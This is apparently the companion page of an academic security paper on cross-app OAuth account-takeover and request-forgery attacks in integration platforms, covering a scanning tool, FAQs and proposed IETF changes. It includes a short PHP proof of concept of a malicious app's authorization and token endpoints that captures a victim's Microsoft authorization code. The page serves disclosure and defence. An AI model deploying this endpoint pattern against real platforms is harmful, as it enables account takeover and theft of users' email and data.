Universal Cross-app Attacks: Exploiting and Securing OAuth 2.0 in Integration Platforms

This page provides the supplementary materials for our USENIX Security '25 paper, "Universal Cross-app Attacks: Exploiting and Securing OAuth 2.0 in Integration Platforms".

More information about the paper can be found at the conference's official website.

Abstract

Integration Platforms such as Workflow Automation Platforms, Virtual Assistants and Smart Homes are becoming an integral part of the Internet. These platforms welcome third-parties to develop and distribute apps in their open marketplaces, and support "account linking" to connect end-users' app accounts to their platform account. This enables the platform to orchestrate a wide range of external services on behalf of the end-users. While OAuth is the de facto standard for account linking, the open nature of integration platforms poses new threats, as their OAuth architecture could be exploited by untrusted integrated apps.

In this paper, we examine the flawed designs of multi-app OAuth authorizations that support account linking in integration platforms. We unveil two new platform-wide attacks due to the lack of app differentiation: Cross-app OAuth Account Takeover (COAT) and Request Forgery (CORF). As long as a victim end-user establishes account linking with a malicious app, or potentially with just a click on a crafted link, they risk unauthorized access or privacy leakage of any apps on the platform.

To facilitate systematic discovery of vulnerabilities, we develop COVScan, a semi-automated black-box testing tool that profiles varied OAuth designs to identify cross-app vulnerabilities in real-world platforms. Our measurement study reveals that among 18 popular consumer- or enterprise-facing integration platforms, 11 are vulnerable to COAT and another 5 to CORF, including those built by Microsoft, Google and Amazon. The vulnerabilities render widespread impact, leading to unauthorized control over end-users' services and devices, covert logging of sensitive information, and compromising a major ecosystem in single click (a CVE with CVSS 9.6). We responsibly reported the vulnerabilities and collaborated with the affected vendors to deploy comprehensive solutions.

Authors

Kaixuan Luo^{* 1}, Xianbo Wang¹, Pui Ho Adonis Fung², Wing Cheong Lau¹, and Julien Lecomte²

¹The Chinese University of Hong Kong; ²Samsung Research America

* Part of this work was done during the author’s internship at Samsung Research America.

Paper

More information: https://www.usenix.org/conference/usenixsecurity25/presentation/luo-kaixuan

Cite:

Kaixuan Luo, Xianbo Wang, Pui Ho Adonis Fung, Wing Cheong Lau, and Julien Lecomte.
Universal Cross-app Attacks: Exploiting and Securing OAuth 2.0 in Integration Platforms.
34th USENIX Security Symposium (USENIX Security 25), Seattle, WA, August 2025. USENIX Association.

Attack PoC

Disclaimer

This proof of concept (PoC) is provided for educational purposes only. Any use in real-world systems or production environments is strictly prohibited.

The authors disclaim any liability for damages or legal consequences arising from its misuse.

For a glimpse of the actual security impact, here's a quick demo of the COAT_D attack we were able to launch on Microsoft Power Automate [CVE-2023-36019], such as stealing Outlook Emails in 1-Click (now properly fixed):

Authorization Endpoint Logic at Malicious Integrated App:

<?php
    $base_url = "https://login.microsoftonline.com/common/oauth2/authorize";

    $params = [
        "client_id"     => "7ab7862c-4c57-491e-8a45-d52a7e023983",
        "response_type" => "code",
        "redirect_uri"  => "https://global.consent.azure-apim.net/redirect/office365",
        "prompt"        => "none",
        "resource"      => "https://graph.microsoft.com",
        "state"         => $_GET['state'] ?? ''
    ];

    $query_string = http_build_query($params);

    header("Location: {$base_url}?{$query_string}");
    exit;
?>

Token Endpoint Logic at Malicious Integrated App:

<?php
    $arr = array('access_token' => 'token123', 'token_type' => 'Bearer', 'expires_in' => 36000000);
    echo json_encode($arr);
    file_put_contents('authorization_code.txt', file_get_contents('php://input'));
?>

Artifact

The source code of COVScan can be found at https://doi.org/10.5281/zenodo.14677002.

COVScan (Cross-app OAuth Vulnerability Scanner) is a black-box testing tool designed to distinguish among OAuth design patterns for account linking in integration platforms and identify Cross-app OAuth vulnerabilities.

COVScan follows a decision tree (consisting of D1-D3 below) to derive vulnerability detection conclusions:

DECISIONS

D1. Does the platform assign identical redirect_uri for both apps?

• Yes: Vulnerable to COAT_U ;
• No: Proceed to D2.

D2. What is the OAuth outcome of replacing the distinctive element (e.g., app ID) of redirect_uri in the request to the redirection endpoint?

• Succeed: Vulnerable to COAT_D ;
• Fail: Proceed to D3.

D3. On top of the substitution made in D2, what is the OAuth outcome of replacing the auth code as well?

• Succeed: Vulnerable to CORF ;
• Fail: Protection in place, secure.

CONCLUSIONS

• Vulnerable to COAT (Cross-app OAuth Account Takeover)

  • COAT_U variant (COAT with universal redirect_uri)
  • COAT_D variant (COAT with distinct redirect_uri)

• Vulnerable to CORF (Cross-app OAuth Request Forgery)

• Secure

FAQs

(Click to Expand)

FAQ1: Isn't PKCE supposed to solve the problem?

The short answer is, No.

Indeed, PKCE (Proof Key for Code Exchange) is generally considered as effective in mitigating authorization code injection attacks, and can be an alternative defense to CSRF attacks in OAuth.

But as a malicious app, we can bypass PKCE. Not by exploiting implementation flaws like PKCE downgrade attacks, but invalidating the protection provided by PKCE at the spec level by following these concrete steps.

FAQ2: Isn't it just mix-up attacks?

Long story short, our Cross-app Attacks can be considered as practical variants of mix-up attacks.

• A brief review of history, initial discoveries of mix-up attacks can date back to 2015/16, where two groups of researchers first discovered that there could be such an attack in theory.

• Over the years, there're also quite a few sessions at the OAuth Security Workshop on this topic, where people discuss whether mix-up attack is a real issue and how to mitigate this.

• The community discussion has led to two RFCs, one is an ad-hoc defense exclusively meant for mix-up attack [RFC9207], and the countermeasures are also discussed in the OAuth Security BCP [RFC9700], which has just been published in Jan 2025.

The idea of the mix-up attack is straightforward: The OAuth client could interact with multiple authorization servers, but stumbles upon one of them which is a malicious server. What the malicious server could do is to redirect the end-user to a benign server, where an authorization code would be issued. But the client still believes that it is interacting with the malicious authorization server, so it would forward the authorization code to the token endpoint of the malicious server. That's how an authorization code can be leaked to an attacker.

As a matter of fact, our research was original and conducted independently before we dig up all those literature for comparisons. But if you do compare the attack workflows, you can notice that our first Cross-app attack, the Cross-app OAuth Account Takeover (COAT) resembles the mix-up attack.

However, the difference lies in the application scenarios:

Usually, when people talk about mix-up attacks, people always use the traditional paradigm which we showed on the left-hand side. The most practical scenario where there are multiple authorization servers involved is SSO, because most websites support more than one IdPs.

But the thing is, the second precondition for the mix-up attack to work, is that there must be a malicious authorization server out there. This precondition is really hard to satisfy in practice, because you just cannot expect highly trusted entities like Google to be hacked, or a website like Spotify suddenly supports logging into an attacker-controlled IdP out of nowhere without prior trust. But if we look at the right-hand side, in integration platforms, since it is an open ecosystem, untrusted authorization servers could integrate a malicious app to get involved.

That's how mix-up attacks could turn from a theoretical attack to a practical attack, and that's why our subtitle is "Mix-up attack reloaded".

Speaking of suggested spec changes, the first one is about the "open ecosystem" setting.

Previously, the spec only mentions the circumstance where the attacker uses dynamic registration to register the client at a malicious Authorization Server, or if the server itself becomes compromised. Both are hard, just think about Spotify adding malicious.com for SSO, or the whole Sign in with Google feature gets hacked.

We added the scenario where the attacker proactively integrate and interact with the OAuth client through the openness of integration platforms. This reflects the paradigm shift of OAuth (w.r.t. registration direction).

BTW, remember that we have two attacks, one is COAT, the other is CORF. CORF or Cross-app OAuth Request Forgery is comparable to an attack that's not well-discussed in the community called Naïve RP session integrity attack.

This attack is also mixing up the authorization servers, and is like the symmetric side of COAT/mix-up attack, but it is NOT lumped under the umbrella of mix-up attacks. We also believe the spec could incorporate CORF, because we indeed found some instances of platforms susceptible to CORF.

FAQ3: Why can't we use existing mix-up defenses?

The short answer is, they don’t automatically/magically fit in our use cases.

To further answer this question, first, let's dig up the 2 countermeasures described in the OAuth Security BCP:

• The first one is mix-up defense by issuer identification. The high-level idea is that, each authorization server would return a unique ID in the authorization response called issuer, or iss. That's a static ID that each authorization server could identify itself. The client would somehow also know what's the expected issuer is, and could ensure that this ground truth is trustworthy. This depends on some external mechanisms like OAuth authorization server metadata [RFC8414]. Then, at the redirection endpoint, the client could compare the returned issuer with its ground truth. This defense is further elaborated in RFC9207.

• The OAuth Security BCP also specifies an alternative defense. The idea is, the client would issue a distinct redirect_uri for each authorization server during OAuth registration, which serves as the ground truth. Because it is the client that generates this URI, it would be inherently trustworthy from the Client's perspective. And then, the client only needs to grab the returned redirect_uri, from the request URL to the redirection endpoint, and compare it with the ground truth.

Our claim is that, the second defense is the basis of the defense for Cross-app OAuth attacks, not the first one.

Why?

One reason is that for integration platforms, we're always talking about apps, not authorization servers. Even two apps could legitimately share the same authorization server, namely, using the same issuer identifier.

For example, there could be an official Dropbox app (see below), that supports upload and download files with these two APIs. But any 3rd-party developer could also publish a custom Dropbox app in the marketplace that perform some advanced operations, leveraging some other official APIs offered by Dropbox, such as download as a zip or export. So these two apps will share the same authorization server, but technically they handle OAuth independently, and they also have different API endpoints a.k.a. Resource Servers such that the tokens retrieved will be handled separately.

So to solve this mix-up problem in integration platforms, we need a unique per-app ID, that cannot be shared. But since issuer is a static authorization server ID that is not subject to change, it's hard to rely on this whole issuer concept for the app ID defense.

The other reason why the first defense wouldn't be ideal is that, we need trustworthy ground truth for issuer, but usually integration platform rely on manual registration, and does not support OAuth metadata. This raises a barrier for real-world adoptions:

Since issuers depend on the OAuth metadata to be trustworthy (which would host the metadata at a .well-known location and verify the domain ownership), and are returned as a new URL parameter in the authorization response, these deviate from the core spec RFC6749. The issuer defense would be the most useful when there're only a few Authorization Servers involved, operated by big-names that would be most willing to keep up with the latest specs.

But now we are talking about thousands of apps in integration platforms. It is impractical to expect each app to be compliant with the latest standards, but we want them to have the same level of security. So that's why we rely on the second defense, which shifts responsibility on the platform's OAuth client.

To summarize, we suggest the tailored spec changes for integration platforms to be built upon the second defense.

We highlight that both for functional and security needs of active app tracking, it should use a per-app identifier, such as an app ID, but not a per-authorization server identifier, such as the issuer.

Since the app ID is not returned as a new identifier in the authorization response, but relies on existing redirect_uri setup, it's more compliant with the original core OAuth spec. So that's why this is a practical defense that does not need special opt-ins by those numerous apps. Instead, having responsibility on the platform makes more sense, since it’s them opening up the vulnerability.

Moreover, it is a robust countermeasure that "kill two birds with one stone", mitigating CORF attacks as well.

For more information on our recommended defense, please refer to Section 2.3.1-2.3.3 of our IETF individual draft.

Proposed Changes to IETF

Timeline:

• Dec 2024: Contacted IETF OAuth Working Group.
• Feb 2025: Presented at OAuth Security Workshop 2025, discussed with RFC9700 (OAuth 2.0 Security Best Current Practice) authors.
• Jun 2025: Published IETF Individual Draft: Updates to OAuth 2.0 Security Best Current Practice.
  We are deeply grateful to researchers from the University of Stuttgart for kindly collaborating with us on this IETF draft.
  For a focused discussion on issues presented in this paper, see Section 2.3.1-2.3.3 of the IETF draft.
• Jul 2025: Discussed at IETF 123 Meeting.
• Now: Collecting further feedback from the OAuth community ...

Key Takeaways

• Attack: As open ecosystems, Integration Platforms enable practical Cross-app OAuth Attacks via malicious app integrations, leading to account takeovers or forced linking.

• Defense: Existing RFCs provide authorization server-specific defenses but lack (integrated) app-specific defense. A per-app ID is the appropriate isolation boundary for integration platforms.

• Pervasiveness: Identified 15+ vulnerable mainstream platforms, with hundreds to thousands of integrated apps per platform.

• Vulnerability Detection: Developed COVScan, a decision tree-based testing tool.

• Community Impact: Helped secure platform vendors across the industry; Contacted IETF & Working on updates to OAuth Security specification.